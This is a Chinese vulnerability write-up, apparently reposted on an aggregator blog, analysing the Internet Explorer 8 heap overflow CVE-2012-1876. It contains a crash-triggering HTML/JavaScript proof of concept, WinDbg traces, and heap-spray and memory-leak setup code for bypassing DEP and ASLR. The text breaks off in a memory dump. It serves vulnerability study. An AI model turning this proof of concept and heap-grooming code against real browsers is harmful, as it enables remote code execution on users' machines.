日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

CVE-2012-1876 Internet Exporter堆溢出漏洞分析

發布時間:2025/3/21 编程问答 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CVE-2012-1876 Internet Exporter堆溢出漏洞分析 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

文章目錄

    • 漏洞描述
    • IE瀏覽器組件介紹
    • 分析環境
    • POC
    • 漏洞分析
    • 漏洞利用
    • 參考資料

漏洞描述

該IE瀏覽器漏洞的成因在mshtml.dll這個模塊的CTableLayout::CalculateMinMax函數里,程序在執行時會以HTML代碼中的元素span屬性作為循環控制次數向堆中寫入數據。如果此span值設置不當,那么就會引發堆溢出問題。

IE瀏覽器組件介紹

Internet Explorer體系結構的關鍵是使用組件對象模型(COM),它控制所有的組件的交互,并實現組件的重用和擴展性。下圖說明了Internet Explorer的主要組件。

  • IExplore.exe位于頂層,是IExplore.exe的可執行文件,依賴于Internet Explorer的其他組件來完成渲染 導航 協議實現等工作
  • Browseui.dll提供Internet Explorer的用戶界面,此dll包括Internet Explorer地址欄 狀態欄 菜單欄等
  • Shdocvw.dll提供導航和歷史等功能,此dll公開ActiveX控件接口
  • Mshtml.dll是Internet Explorer的核心,它負責HTML和CSS解析
  • Urlmon.dll提供MIME處理和代碼下載功能
  • WinInet.dll是Windows Internet協議處理程序。它實現了HTTP和FTP協議及緩存管理

分析環境

環境版本
虛擬機Win7 x86
IE瀏覽器8.0
調試器windbg

POC

<html> <body><table style="table-layout:fixed" ><col id="132" width="41" span="6" >&nbsp </col></table><script>function over_trigger() {var obj_col = document.getElementById("132");obj_col.width = "42765";obj_col.span = 666;}setTimeout("over_trigger();",1);</script> </body> </html>

上述代碼的功能比較清晰,最開始創建時span屬性值為6,而后通過js中的over_trigger函數將其動態更新為666(這個值可以是任意的 只要能保證溢出就行)

漏洞分析

將poc保存為html文件并雙擊打開,會彈出阻止提示,此時用windbg附加IE進程

附加列表中會有兩個IE進程,選擇后一個,即當前選項卡對應的子進程,接著我們設置如下幾個斷點

0:012> bp mshtml!CTableLayout::CalculateMinMax 0:012> bp mshtml!_HeapRealloc 0:012> bp mshtml!CTableCol::GetAAspan

漏洞成因是在CTableLayout::CalculateMinMax這個函數中,所以這個地方肯定要下個斷點,又因為是堆溢出,所以在_HeapRealloc函數也來個斷點。最后CTableCol::GetAAspan函數是用來獲取Span屬性值的。

0:012> bd 1 2 0:012> bl0 e 6bcca078 0001 (0001) 0:**** mshtml!CTableLayout::CalculateMinMax1 d 6bd7d7a5 0001 (0001) 0:**** mshtml!_HeapRealloc2 d 6bc4a6cb 0001 (0001) 0:**** mshtml!CTableCol::GetAAspan

接著我們暫時禁用掉1和2兩個斷點,輸入g命令運行,在IE中允許阻止的內容,彈出警告直接點擊確定

0:012> g ModLoad: 6bb30000 6bbe2000 C:\Windows\System32\jscript.dll Breakpoint 0 hit eax=ffffffff ebx=004899c0 ecx=00412802 edx=ffffffff esi=00000000 edi=0245c334 eip=6891a078 esp=0245c0d8 ebp=0245c2f0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CTableLayout::CalculateMinMax: 6891a078 8bff mov edi,edi

回到windbg可以看到程序第一次在CTableLayout::CalculateMinMax函數入口斷了下來,這是處理最開始創建時span值為6的情況

0:005> kb ChildEBP RetAddr Args to Child 0245c0d4 6891a6b8 004899c0 0245c368 00000000 mshtml!CTableLayout::CalculateMinMax 0245c2f0 68910879 0245c368 0245c334 00000001 mshtml!CTableLayout::CalculateLayout+0x276 0245c49c 68a1566c 0245d3b8 0245c6c8 00000000 mshtml!CTableLayout::CalcSizeVirtual+0x720 0245c5d4 68a118f9 004899c0 00000000 00000000 mshtml!CLayout::CalcSize+0x2b8 ......

接著查看調用堆棧和CTableLayout::CalculateMinMax函數聲明

void __thiscall CTableLayout::CalculateMinMax(CTableLayout *theTableLayoutObj, LPVOID lpUnknownStackBuffer);

我們主要關心CTableLayout *theTableLayoutObj這個變量,它是一個指針,由上面的kb命令可知其值為004899c0

接著 查看一下004899c0的內容,68819aa0為vftable的值,00000006為span屬性的值,最右邊的0為申請的堆空間的起始地址,目前還沒分配所以為NULL

0:005> be 1 2 0:005> bl0 e 6891a078 0001 (0001) 0:**** mshtml!CTableLayout::CalculateMinMax1 e 689cd7a5 0001 (0001) 0:**** mshtml!_HeapRealloc2 e 6889a6cb 0001 (0001) 0:**** mshtml!CTableCol::GetAAspan

接著啟用1和2號斷點

0:005> g Breakpoint 1 hit eax=00000000 ebx=00000000 ecx=000000a8 edx=00000000 esi=00489a5c edi=00489a50 eip=689cd7a5 esp=0245c00c ebp=0245c024 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!_HeapRealloc: 689cd7a5 8bff mov edi,edi

輸入g命令運行,程序斷在mshtml!_HeapRealloc函數開頭。

程序申請了堆空間用于保存column的樣式信息,每個樣式信息占0x1C個字節,有多少個樣式信息由span屬性值來決定。

由于poc中span屬性值為6,因此這里申請的堆空間的大小為0x1C*6=0xA8,即_HeapRealloc函數斷下后ecx寄存器的值

0:005> gu eax=00000000 ebx=00000000 ecx=775a5dd3 edx=004b6657 esi=00489a5c edi=00489a50 eip=689e34e2 esp=0245c014 ebp=0245c024 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CImplAry::EnsureSizeWorker+0xa1: 689e34e2 8bd8 mov ebx,eax

接著執行gu命令執行到返回,_HeapRealloc函數執行完成之后,再查看CTableLayout *theTableLayoutObj這個變量的值

0:005> dd 004899c0 L30 004899c0 68819960 00464528 00439648 689ce3b8 004899d0 00000001 00000000 0108080d ffffffff 004899e0 00000000 00000000 00000000 ffffffff 004899f0 00017700 0000b478 00000000 00000000 00489a00 00000000 00412802 00000000 00000000 00489a10 00000000 00000006 00000000 ffffffff 00489a20 00000000 ffffffff 6881a594 00000004 00489a30 00000004 00475ed8 6881a594 00000018 00489a40 00000006 004a3660 00000000 00000000 00489a50 6881a594 00000000 00000000 004b6658 00489a60 00000000 00000000 00000000 00000000 00489a70 00000000 00000000 00000000 00000000

發現此時原來堆空間的起始地址由NULL變成了004b6658了

0:005> g Breakpoint 2 hit eax=00460a88 ebx=004899c0 ecx=00000034 edx=00000006 esi=004b6700 edi=00460a88 eip=6889a6cb esp=0245c02c ebp=0245c0d4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CTableCol::GetAAspan: 6889a6cb 8bff mov edi,edi 0:005> gu eax=00000006 ebx=004899c0 ecx=00000002 edx=004312a8 esi=004b6700 edi=00460a88 eip=68aaf31f esp=0245c030 ebp=0245c0d4 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CTableLayout::CalculateMinMax+0x3ac: 68aaf31f 3de8030000 cmp eax,3E8h

繼續運行程序會在CTableCol::GetAAspan處斷下來,也就是獲取span值作為寫入樣式信息時循環的控制次數,函數結果保存在eax中,此時eax的值為6

0:005> ba w1 004b6658 0:005> bl0 e 6891a078 0001 (0001) 0:**** mshtml!CTableLayout::CalculateMinMax1 e 689cd7a5 0001 (0001) 0:**** mshtml!_HeapRealloc2 e 6889a6cb 0001 (0001) 0:**** mshtml!CTableCol::GetAAspan3 e 004b6658 w 1 0001 (0001) 0:**** 0:005> g Breakpoint 3 hit eax=00010048 ebx=00001004 ecx=004b6670 edx=00000010 esi=004b6658 edi=004b6670 eip=68c40a49 esp=0245c014 ebp=0245c01c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 mshtml!CTableColCalc::AdjustForCol+0x2f: 68c40a49 eb2a jmp mshtml!CTableColCalc::AdjustForCol+0x5b (68c40a75)

再來看下程序向申請的堆空間寫入樣式信息的過程,我們在堆空間的起始地址下斷,接著輸入g命令運行,斷點斷下。

從poc中可以看到此時對應的width屬性值為41,004899c0處寫入的內容就為width值41*100=0x00001004,也就是斷點斷下時候ebx的值。當斷點斷下時0x1C個字節的信息都已寫入完成,我們再單步往下跟一下

0:005> p eax=00010048 ebx=00001004 ecx=004b6670 edx=00000010 esi=004b6658 edi=004b6670 eip=68c40a75 esp=0245c014 ebp=0245c01c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 mshtml!CTableColCalc::AdjustForCol+0x5b: 68c40a75 5f pop edi ...... 0:005> eax=00010048 ebx=004899c0 ecx=004b6670 edx=00000010 esi=004b6658 edi=00000001 eip=68aaf47a esp=0245c030 ebp=0245c0d4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 mshtml!CTableLayout::CalculateMinMax+0x558: 68aaf47a ff45ec inc dword ptr [ebp-14h] ss:0023:0245c0c0=00000000 0:005> eax=00010048 ebx=004899c0 ecx=004b6670 edx=00000010 esi=004b6658 edi=00000001 eip=68aaf47d esp=0245c030 ebp=0245c0d4 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CTableLayout::CalculateMinMax+0x55b: 68aaf47d 8b45ec mov eax,dword ptr [ebp-14h] ss:0023:0245c0c0=00000001 0:005> eax=00000001 ebx=004899c0 ecx=004b6670 edx=00000010 esi=004b6658 edi=00000001 eip=68aaf480 esp=0245c030 ebp=0245c0d4 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CTableLayout::CalculateMinMax+0x55e: 68aaf480 8345dc1c add dword ptr [ebp-24h],1Ch ss:0023:0245c0b0=00000000 0:005> eax=00000001 ebx=004899c0 ecx=004b6670 edx=00000010 esi=004b6658 edi=00000001 eip=68aaf484 esp=0245c030 ebp=0245c0d4 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CTableLayout::CalculateMinMax+0x562: 68aaf484 3b4510 cmp eax,dword ptr [ebp+10h] ss:0023:0245c0e4=00000006

可以看到出現了inc+cmp的組合,可以猜想這應該就是控制堆空間寫入樣式信息的循環了。

這幾條匯編指令的意思就是[ebp-14h]的值每次增加1,即每次循環后遞增,[ebp-24h]對應的值每次加0x1C,即每次加一個樣式信息的字節數,最后當前的循環次數和[ebp+10h]對應的值比較

0:005> dd [ebp+10h] L1 0245c0e4 00000006

[ebp+10h]是span的屬性值。接下來我們來看下通過js腳本動態更新span屬性值后,也就是span值變成666時程序第二次在CTableLayout::CalculateMinMax函數入口斷下后是個什么情形,理論上是要重新分配空間的,畢竟要多寫入660個樣式信息,而后再獲取此時span的值作為循環控制次數,最后才向堆空間寫入樣式信息。

我們來到程序此時斷下來的地方,順便看下之前確實是寫入了6個樣式信息

0:005> bd 1 2 3 0:005> bl0 e 6891a078 0001 (0001) 0:**** mshtml!CTableLayout::CalculateMinMax1 d 689cd7a5 0001 (0001) 0:**** mshtml!_HeapRealloc2 d 6889a6cb 0001 (0001) 0:**** mshtml!CTableCol::GetAAspan3 d 004b6658 w 1 0001 (0001) 0:**** 0:005> g Breakpoint 0 hit eax=ffffffff ebx=004899c0 ecx=00402c02 edx=ffffffff esi=00000000 edi=0245bb4c eip=6891a078 esp=0245b8f0 ebp=0245bb08 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CTableLayout::CalculateMinMax: 6891a078 8bff mov edi,edi 0:005> kb L3 ChildEBP RetAddr Args to Child 0245b8ec 6891a6b8 004899c0 0245bb80 00000000 mshtml!CTableLayout::CalculateMinMax 0245bb08 68910879 0245bb80 0245bb4c 00000001 mshtml!CTableLayout::CalculateLayout+0x276 0245bcb4 68a1566c 0245d328 0245bee0 00000000 mshtml!CTableLayout::CalcSizeVirtual+0x720 0:005> dd 004899c0 L30 004899c0 68819960 00464528 00439648 689ce3b8 004899d0 00000001 00000000 010a081d 00002580 004899e0 00000000 00000000 0041da18 ffffffff 004899f0 00017700 0000b478 00000708 00000001 00489a00 00000000 00402c02 00000000 00000000 00489a10 00000000 00000006 ffffffff ffffffff 00489a20 ffffffff ffffffff 6881a594 00000004 00489a30 00000004 00475ed8 6881a594 00000018 00489a40 00000006 004a3660 00000000 00000000 00489a50 6881a594 00000018 00000006 004b6658 00489a60 00000000 00000000 00000000 00000000 00489a70 00000000 00000000 00000000 00000000

繼續往下應該是要分配堆空間了,啟用_HeapRealloc斷點,g命令運行

0:005> be 1 2 0:005> bl0 e 6891a078 0001 (0001) 0:**** mshtml!CTableLayout::CalculateMinMax1 e 689cd7a5 0001 (0001) 0:**** mshtml!_HeapRealloc2 e 6889a6cb 0001 (0001) 0:**** mshtml!CTableCol::GetAAspan3 d 004b6658 w 1 0001 (0001) 0:**** 0:005> g Breakpoint 2 hit eax=00460a88 ebx=004899c0 ecx=00000034 edx=00000006 esi=004b6700 edi=00460a88 eip=6889a6cb esp=0245b844 ebp=0245b8ec iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CTableCol::GetAAspan: 6889a6cb 8bff mov edi,edi 0:005> gu eax=0000029a ebx=004899c0 ecx=00000002 edx=004312a8 esi=004b6700 edi=00460a88 eip=68aaf31f esp=0245b848 ebp=0245b8ec iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CTableLayout::CalculateMinMax+0x3ac: 68aaf31f 3de8030000 cmp eax,3E8h

但我們卻發現程序跳過了堆空間的分配過程,錯誤的認為之前分配的空間已經足夠而轉去直接獲取控制循環次數的span屬性值eax,CTableCol::GetAAspan函數執行完時eax的值為0x29a,即十進制的666

接下來和前面一樣是寫入樣式信息的過程,不過這次是對只能容納6個樣式信息的堆空間寫入了666個樣式信息,從而引發了堆溢出

0:005> be 3 0:005> bd 1 2 0:005> bl0 e 6891a078 0001 (0001) 0:**** mshtml!CTableLayout::CalculateMinMax1 d 689cd7a5 0001 (0001) 0:**** mshtml!_HeapRealloc2 d 6889a6cb 0001 (0001) 0:**** mshtml!CTableCol::GetAAspan3 e 004b6658 w 1 0001 (0001) 0:**** 0:005> g Breakpoint 3 hit eax=04141148 ebx=00414114 ecx=004b6670 edx=00004141 esi=004b6658 edi=004b6670 eip=68c40a49 esp=0245b82c ebp=0245b834 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 mshtml!CTableColCalc::AdjustForCol+0x2f: 68c40a49 eb2a jmp mshtml!CTableColCalc::AdjustForCol+0x5b (68c40a75)

我們啟用堆空間的斷點,讓斷點在堆空間寫入的時候斷下,接著一直單步

0:005> eax=04141148 ebx=004899c0 ecx=004b6670 edx=00004141 esi=004b6658 edi=00000001 eip=68aaf47a esp=0245b848 ebp=0245b8ec iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 mshtml!CTableLayout::CalculateMinMax+0x558: 68aaf47a ff45ec inc dword ptr [ebp-14h] ss:0023:0245b8d8=00000000 0:005> eax=04141148 ebx=004899c0 ecx=004b6670 edx=00004141 esi=004b6658 edi=00000001 eip=68aaf47d esp=0245b848 ebp=0245b8ec iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CTableLayout::CalculateMinMax+0x55b: 68aaf47d 8b45ec mov eax,dword ptr [ebp-14h] ss:0023:0245b8d8=00000001 0:005> eax=00000001 ebx=004899c0 ecx=004b6670 edx=00004141 esi=004b6658 edi=00000001 eip=68aaf480 esp=0245b848 ebp=0245b8ec iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CTableLayout::CalculateMinMax+0x55e: 68aaf480 8345dc1c add dword ptr [ebp-24h],1Ch ss:0023:0245b8c8=00000000 0:005> eax=00000001 ebx=004899c0 ecx=004b6670 edx=00004141 esi=004b6658 edi=00000001 eip=68aaf484 esp=0245b848 ebp=0245b8ec iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CTableLayout::CalculateMinMax+0x562: 68aaf484 3b4510 cmp eax,dword ptr [ebp+10h] ss:0023:0245b8fc=0000029a

接著查看ebp+10h的值

0:005> dd ebp+10h L1 0245b8fc 0000029a

可以看到ebp-0x10對應此時span屬性值為0x29a,所以程序最終將會執行666次循環,堆溢出發生后程序將繼續運行,從而造成內存訪問違規,導致IE瀏覽器崩潰

總結:

  • 程序根據span的屬性值申請堆空間
  • 獲取span的屬性值并循環向堆空間寫入樣式信息
  • 通過js腳本動態更新span屬性值
  • 此時程序跳過分配堆空間的過程 錯誤的認為之前分配的空間已經足夠 轉而去直接獲取控制循環次數的span屬性值
  • 向堆空間寫入樣式信息 引發堆溢出 導致瀏覽器崩潰
  • 漏洞利用

    要利用堆溢出漏洞,需要先確定溢出時用于覆蓋的內容和位置。為了繞過DEP和ASLR的保護,VUPEN通過溢出漏洞覆蓋BSTR字符串長度的值,然后通過JavaScript讀取CButtonLayout虛表指針,通過固定偏移量找到mshtml.dll基址,用它來構造ROP指令,以此繞過DEP和ASLR

    為了繞過DEP和ASLR,首先需要構造堆布局以便將mshtml.dll基址泄露出來,下面的代碼就是用于構造堆布局的

    <div id="test"></div><script language='javascript'>var leak_index = -1;var dap = "EEEE";while ( dap.length < 480 ) dap += dap;var padding = "AAAA";while ( padding.length < 480 ) padding += padding;var filler = "BBBB";while ( filler.length < 480 ) filler += filler;//sprayvar arr = new Array();var rra = new Array();var div_container = document.getElementById("test");div_container.style.cssText = "display:none";for (var i=0; i < 500; i+=2) {// Erra[i] = dap.substring(0, (0x100-6)/2);// S, bstr = Aarr[i] = padding.substring(0, (0x100-6)/2);// A, bstr = Barr[i+1] = filler.substring(0, (0x100-6)/2);// Bvar obj = document.createElement("button");div_container.appendChild(obj);}for (var i=200; i<500; i+=2 ) {rra[i] = null;CollectGarbage();}</script>

    上面的JavaScript代碼首先創建0x100大小的字符串"EEEE",接著是同等大小的"AAAA"和"BBBB",最后又創建了一個button元素,即CButtonLayout對象結構。

    上面的字符串在IE瀏覽器中都是一段BSTR字符串,即Basic String的簡稱,它是包含長度前綴和NULL終止符的Unicode字符串,所以字符數是字節數的一半,這也是前面代碼分配字符串除以2的原因。

    接著,再從rra數組中間位置開始間隔釋放內存,騰出空間后供后面分配0x100大小的對象時能夠被占用到。

    最后,構造出來的堆空間布局如下:

    [外鏈圖片轉存失敗(img-Jj8bWphb-1565927056165)(assets/1565860060218.png)]

    釋放的位置就是為了在分配漏洞堆塊vulheap時能夠占用到這些釋放位置中的一個,當溢出時就可以覆蓋到后面的AAAA和BBBB了。

    <table style="table-layout:fixed" ><col id="0" width="41" span="9" >&nbsp </col></table> <table style="table-layout:fixed" ><col id="1" width="41" span="9" >&nbsp </col></table> <table style="table-layout:fixed" ><col id="2" width="41" span="9" >&nbsp </col></table> <table style="table-layout:fixed" ><col id="3" width="41" span="9" >&nbsp </col></table>

    接下來,創建一連串的col元素,共132個以占用前面釋放的"EEEE"位置

    為了確定所分配的vulheap是否占用到已釋放的"EEEE"位置,我們先在釋放內存的函數CollectGarbage上下斷點,它對應的是jscript.dll中的JsCollectGarbage。

    [外鏈圖片轉存失敗(img-snGZd9hA-1565927056166)(assets/1565921432705.png)]

    先通過Windbg加載IE進程

    0:012> .childdbg 1 Processes created by the current process will be debugged

    并執行.childdbg開啟子進程調試

    0:012> sxe ld:jscript

    因為剛開始IE還沒有加載jscript.dll,所以先設置加載jscript.dll時斷下

    0:012> g ModLoad: 6be10000 6bec2000 C:\Windows\System32\jscript.dll eax=00000000 ebx=00000000 ecx=00000074 edx=004c0e94 esi=7ffd9000 edi=022ac19c eip=775970b4 esp=022ac0b4 ebp=022ac108 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ntdll!KiFastSystemCallRet: 775970b4 c3 ret

    接著輸入g命令,點擊運行阻止的風險,此時程序斷在jscript.dll

    0:005> bp jscript!JsCollectGarbage

    斷下后再對JsCollectGarbage函數下斷。因為釋放堆塊最后都會調用到底層函數ntdll!RtlFreeHeap,所以它的第三個參數即為被釋放的堆地址,我們可以對其下斷,然后記錄并輸出每個釋放的堆塊地址。

    0:005> bd 0 0:005> bl0 d 6be983d3 0001 (0001) 0:**** jscript!JsCollectGarbage0:005> bu ntdll!RtlFreeHeap ".echo free heap;db poi(esp+c) l10;g"

    下斷前可以先把JsCollectGarbage斷點禁掉,避免程序多次被中斷

    分配vulheap堆塊的行為是CTableLayout::CalculateMinMa中調用CImplAry::EnsureSizeWorker函數分配的,并且分配的地址保存在[ebx+9c]中,調用完CImplAry::EnsureSizeWorker函數的下一條指令位于mshtml!CTableLayout::CalculateMinMax+0x16d,可以如此下斷得到vulheap地址:

    0:005> bu mshtml!CTableLayout::CalculateMinMax+0x16d ".echo vulheap;dd poi(ebx+9c) l4;g"

    由于日志輸出信息比較多,可以將日志保存在文檔中

    0:005> .logopen c:\log.txt Opened log file 'c:\log.txt'

    記錄完畢可以使用.logclose關閉

    0:005> .logclose Closing open log file c:\log.txt

    保存之后,最后一個vueheap就是我們要的’

    free heap 083f2ef0 e8 d2 56 69 00 0d 4c 00-d0 62 83 04 38 04 4c 00 ..Vi..L..b..8.L. free heap 00000000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? free heap 00000000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? free heap 00000000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? (3f4.c0): Stack overflow - code c00000fd (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000009 ebx=083f5d20 ecx=00000000 edx=00000009 esi=022ac580 edi=00000000 eip=694ba1b2 esp=020b3000 ebp=022ac2ec iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 mshtml!CTableLayout::CalculateMinMax+0x175: 694ba1b2 50 push eax

    另外為了確定虛表偏移,直接動態找一下吧

    0:005> x mshtml!CButtonLayout::* 6956f069 mshtml!CButtonLayout::GetThemeClassId (<no parameter info>) 695ee9c5 mshtml!CButtonLayout::GetInsets (<no parameter info>) 69508690 mshtml!CButtonLayout::`vftable' = <no type information> 6959cf35 mshtml!CButtonLayout::GetAutoSize (<no parameter info>) 69785a7c mshtml!CButtonLayout::HitTestContent (<no parameter info>) 6955d2e3 mshtml!CButtonLayout::DrawClientBackground (<no parameter info>) 69509211 mshtml!CButtonLayout::Init (<no parameter info>) 6959cf35 mshtml!CButtonLayout::GetMultiLine (<no parameter info>) 696f1080 mshtml!CButtonLayout::s_layoutdesc = <no type information> 69785a6c mshtml!CButtonLayout::GetBtnHelper (<no parameter info>) 697858a7 mshtml!CButtonLayout::GetFocusShape (<no parameter info>) 696f1079 mshtml!CButtonLayout::GetLayoutDesc (<no parameter info>) 69785a07 mshtml!CButtonLayout::DoLayout (<no parameter info>) 6956f069 mshtml!CButtonLayout::GetWordWrap (<no parameter info>) 695084f8 mshtml!CButtonLayout::`vftable' = <no type information> 6955d2af mshtml!CButtonLayout::DrawClient (<no parameter info>) 695d36c1 mshtml!CButtonLayout::`scalar deleting destructor' (<no parameter info>) 697856e7 mshtml!CButtonLayout::DrawClientBorder (<no parameter info>) 695d36c1 mshtml!CButtonLayout::`vector deleting destructor' (<no parameter info>) 695eeb59 mshtml!CButtonLayout::GetDefaultSize (<no parameter info>)

    奇怪的是,有兩個虛表,這里我也不知道為什么……

    此外看一下vulheap

    1:026> db 03f2ae30 l101c 03f2ae30 04 10 00 00 04 10 00 00-04 10 00 00 00 00 00 00 ................ 03f2ae40 45 00 45 00 41 00 45 00-48 00 01 00 04 10 00 00 E.E.A.E.H....... 03f2ae50 04 10 00 00 04 10 00 00-00 00 00 00 45 00 45 00 ............E.E. 03f2ae60 41 00 45 00 48 00 01 00-04 10 00 00 04 10 00 00 A.E.H........... 03f2ae70 04 10 00 00 00 00 00 00-45 00 45 00 41 00 45 00 ........E.E.A.E. 03f2ae80 48 00 01 00 04 10 00 00-04 10 00 00 04 10 00 00 H............... 03f2ae90 00 00 00 00 45 00 45 00-41 00 45 00 48 00 01 00 ....E.E.A.E.H... 03f2aea0 04 10 00 00 04 10 00 00-04 10 00 00 00 00 00 00 ................ 03f2aeb0 45 00 45 00 41 00 45 00-48 00 01 00 04 10 00 00 E.E.A.E.H....... 03f2aec0 04 10 00 00 04 10 00 00-00 00 00 00 45 00 45 00 ............E.E. 03f2aed0 41 00 45 00 48 00 01 00-04 10 00 00 04 10 00 00 A.E.H........... 03f2aee0 04 10 00 00 00 00 00 00-45 00 45 00 41 00 45 00 ........E.E.A.E. 03f2aef0 48 00 01 00 04 10 00 00-04 10 00 00 04 10 00 00 H............... 03f2af00 00 00 00 00 45 00 45 00-41 00 45 00 48 00 01 00 ....E.E.A.E.H... 03f2af10 04 10 00 00 04 10 00 00-04 10 00 00 00 00 00 00 ................ 03f2af20 45 00 45 00 41 00 45 00-48 00 01 00 04 10 00 00 E.E.A.E.H....... 03f2af30 04 10 00 00 04 10 00 00-0c 61 81 04 00 00 00 00 .........a...... 03f2af40 02 00 00 00 48 00 01 00-04 10 00 00 04 10 00 00 ....H........... 03f2af50 04 10 00 00 41 00 41 00-41 00 41 00 41 00 41 00 ....A.A.A.A.A.A. 03f2af60 48 00 01 00 04 10 00 00-04 10 00 00 04 10 00 00 H............... 03f2af70 41 00 41 00 41 00 41 00-41 00 41 00 48 00 01 00 A.A.A.A.A.A.H... 03f2af80 04 10 00 00 04 10 00 00-04 10 00 00 41 00 41 00 ............A.A. 03f2af90 41 00 41 00 41 00 41 00-48 00 01 00 04 10 00 00 A.A.A.A.H....... 03f2afa0 04 10 00 00 04 10 00 00-41 00 41 00 41 00 41 00 ........A.A.A.A. 03f2afb0 41 00 41 00 48 00 01 00-04 10 00 00 04 10 00 00 A.A.H........... 03f2afc0 04 10 00 00 41 00 41 00-41 00 41 00 41 00 41 00 ....A.A.A.A.A.A. 03f2afd0 48 00 01 00 04 10 00 00-04 10 00 00 04 10 00 00 H............... 03f2afe0 41 00 41 00 41 00 41 00-41 00 41 00 48 00 01 00 A.A.A.A.A.A.H... 03f2aff0 04 10 00 00 04 10 00 00-04 10 00 00 41 00 41 00 ............A.A. 03f2b000 41 00 41 00 41 00 41 00-48 00 01 00 04 10 00 00 A.A.A.A.H....... 03f2b010 04 10 00 00 04 10 00 00-41 00 41 00 41 00 41 00 ........A.A.A.A. 03f2b020 41 00 41 00 48 00 01 00-04 10 00 00 04 10 00 00 A.A.H........... 03f2b030 04 10 00 00 41 00 41 00-41 00 41 00 41 00 41 00 ....A.A.A.A.A.A. 03f2b040 48 00 01 00 41 00 00 00-20 10 d1 01 00 00 00 c2 H...A... ....... 03f2b050 0c 61 81 04 00 00 00 00-02 00 00 00 18 00 02 05 .a.............. 03f2b060 fa 00 00 00 42 00 42 00-42 00 42 00 42 00 42 00 ....B.B.B.B.B.B. 03f2b070 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b080 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b090 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b0a0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b0b0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b0c0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b0d0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b0e0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b0f0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b100 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b110 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b120 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b130 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b140 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b150 42 00 42 00 42 00 42 00-42 00 42 00 42 00 00 00 B.B.B.B.B.B.B... 03f2b160 05 10 d1 01 00 00 00 c2-c0 6a 81 04 00 00 00 00 .........j...... 03f2b170 02 00 00 00 1c 00 02 05-f8 3a 8d 68 10 0b 37 01 .........:.h..7. 03f2b180 70 90 ef 03 90 3c 8d 68-01 00 00 00 00 